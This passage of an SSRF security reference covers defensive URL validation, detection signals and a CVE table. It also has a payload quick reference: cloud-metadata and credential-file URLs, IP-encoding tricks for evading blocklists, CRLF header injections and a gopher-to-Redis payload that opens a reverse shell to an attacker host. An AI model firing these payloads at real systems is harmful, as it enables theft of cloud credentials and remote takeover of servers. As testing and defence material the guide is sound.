| Protocol | Restrict to http:// and https:// only — block gopher://, file://, dict:// |
URL validation pitfalls#
Wrong (bypassable):
# Regex-based — fails on encoding tricks
if '127.0.0.1' in url or 'localhost' in url:
return False
Right:
import ipaddress, socket
from urllib.parse import urlparse
def is_safe_url(url):
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https'):
return False
try:
ip = socket.getaddrinfo(parsed.hostname, None)[0][4][0]
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback or addr.is_link_local:
return False
except (socket.gaierror, ValueError):
return False
return True
Still vulnerable to DNS rebinding — must pin the resolved IP and connect to it directly rather than re-resolving.
Static analysis (CodeQL / Semgrep)#
Track taint from user input to HTTP request sinks:
Source: request.GET['url'], request.body.url, req.query.url
Sanitizer: URL validation with IP resolution check
Sink: requests.get(), fetch(), file_get_contents(), HttpClient.send()
Runtime detection signals#
| Signal | Indicates |
|---|---|
| Application process accessing 169.254.169.254 | IMDS abuse — baseline which processes should access metadata |
| Rapid sequential metadata queries | Credential enumeration in progress |
| Outbound requests to RFC 1918 ranges from web tier | Internal network scanning |
| Unusual User-Agent hitting internal services | SSRF proxying through application |
DNS queries for metadata.google.internal from non-GCP hosts | Misconfiguration or SSRF |
15. Payload Quick Reference#
One-liner test payloads#
# Basic connectivity test
http://BURP_COLLABORATOR_URL
# AWS metadata
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Azure metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01 # needs Metadata:true
http://169.254.169.254/metadata/v1/instanceinfo # NO header needed
http://168.63.129.16/machine/?comp=goalstate # WireServer, no header
# GCP metadata
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true # legacy, no header
# Local file read
file:///etc/passwd
file:///proc/self/environ
file:///home/user/.aws/credentials
# Internal service probing
http://127.0.0.1:6379/ # Redis
http://127.0.0.1:11211/ # Memcached
http://127.0.0.1:9200/ # Elasticsearch
http://127.0.0.1:8500/v1/agent/self # Consul
http://127.0.0.1:2375/version # Docker API
https://kubernetes.default.svc/metrics # K8s API
IP encoding cheat sheet#
127.0.0.1 →
0 2130706433 0x7f000001
0177.0.0.1 [::1] [::ffff:127.0.0.1]
127.1 0x7f.0.0.1 017700000001
169.254.169.254 →
2852039166 0xA9FEA9FE 0251.0376.0251.0376
[::ffff:a9fe:a9fe] 0251.254.169.254 0xa9.0xfe.0xa9.0xfe
Protocol payloads#
# Gopher → Redis reverse shell
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1%0a%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
# Dict protocol port probe
dict://127.0.0.1:6379/INFO
# CRLF → Memcached set
http://127.0.0.1:11211/%0D%0Aset%20pwned%200%2060%205%0D%0Avalue%0D%0A
Header injection payloads#
# Linkerd routing override
l5d-dtab: /svc/* => /$/inet/169.254.169.254/80
# Azure metadata CRLF bypass
Metadata: %0d%0aTrue
# Host header for NextJS/Astro SSRF
Host: attacker.tld
CVE Quick Reference#
| CVE | Target | Type | Impact |
|---|---|---|---|
| CVE-2024-27564 | ChatGPT pictureproxy.php | Full-response SSRF | Internal network access, mass exploitation |
| CVE-2024-34351 | NextJS Server Actions | Blind → Full-read SSRF | Internal file/service read via Host injection |
| CVE-2026-25545 | Astro SSR | Full-read SSRF | Internal file/service read via Host injection |
| CVE-2025-51591 | Pandoc | Full-read SSRF | IMDS credential theft via iframe rendering |
| CVE-2025-27817 | Apache Kafka Connect | SSRF | Arbitrary file read, internal network access |
| CVE-2026-22219 | Chainlit AI | SSRF + File Read | IMDS credential theft, local file read |
| CVE-2023-28155 | Node.js request lib | SSRF via redirect | Agent bypass on protocol switch |
| CVE-2020-8561 | Kubernetes API Server | Error-based SSRF | Internal port scanning via webhook errors |
| CVE-2024-34112 | Adobe ColdFusion | SSRF → LFI | Meta-refresh bypass for file:// block |
| CVE-2025-27152 | Axios (Node.js) | SSRF redirect leak | Bearer token forwarded to attacker across redirect |
| CVE-2025-12073 | GitLab CE/EE | Authenticated SSRF | IPv6 [:::::ffff:127.0.0.1] parser bypass |
| CVE-2025-6454 | GitLab | Webhook CRLF | Custom header CRLF injection |
| CVE-2025-53767 | Azure OpenAI | SSRF privilege escalation | Managed identity token extraction |
| CVE-2026-26138 | Microsoft Purview | SSRF privilege elevation | Control plane metadata access |
| CVE-2026-22739 | Spring Cloud Config | SSRF + traversal | Profile param substitution |
| CVE-2026-27127 | Craft CMS | DNS rebinding bypass | TOCTOU in GraphQL Asset mutation |
| CVE-2026-27129 | Craft CMS | IPv6 resolution bypass | gethostbyname IPv4-only + AAAA record |
| CVE-2026-35409 | Directus | IPv4-mapped IPv6 bypass | ::ffff:127.0.0.1 not in blocklist |
| CVE-2026-27825/26 | mcp-atlassian | Header SSRF → RCE | X-Atlassian-*-Url + path traversal write |
| CVE-2026-32871 | fastmcp | OpenAPI path injection | urljoin traversal via unencoded param |
| CVE-2026-33752 | curl_cffi | Unrestricted redirect | No internal IP block + TLS impersonation |
| CVE-2026-32096 | Plunk | SNS webhook SSRF | SubscribeURL field trusted without validation |
| CVE-2026-33990 | Docker Model Runner | OCI registry SSRF | Registry URL validation bypass |
| CVE-2026-30832 | Soft Serve | SSRF | Git server URL handling |
| CVE-2026-34746 | Payload CMS | Authenticated SSRF | Upload functionality URL fetch |
| CVE-2026-39368 | WWBN AVideo | Stored SSRF | Restream callback URL fetched server-side |
| CVE-2026-39370 | WWBN AVideo | Full-response SSRF bypass | Extension allowlist bypass on downloadURL |
| CVE-2025-66516 | Apache Tika | XXE→SSRF (CVSS 10.0) | PDF embedded XML entity resolution |
| CVE-2024-38475 | Apache HTTP / SonicWall SMA | Pre-auth file read | SonicBoom chain component |
Version History#
- v1.0 (2026-04-09) — Initial guide compiled from 299 articles
- v1.1 (2026-04-10) — Added MCP/AI agent SSRF section, IPv6 & DNS rebinding patterns section, 17 new CVEs, parameter enumeration campaign IOCs, PDF SSRF→LFI chain (CVE-2024-34112), Axios redirect header leak, Spring Cloud Config profile substitution, curl_cffi unrestricted redirects. Total source articles: 369.
- v1.2 (2026-04-09) — Added WWBN AVideo stored SSRF + extension allowlist bypass (CVE-2026-39368/39370), SonicBoom SSRF→file write→RCE chain (Commvault/SonicWall), Apache Tika XXE→SSRF (CVE-2025-66516). Total source articles: 385.
For the original articles, see ~/Documents/obsidian/chs/raw/ssrf/.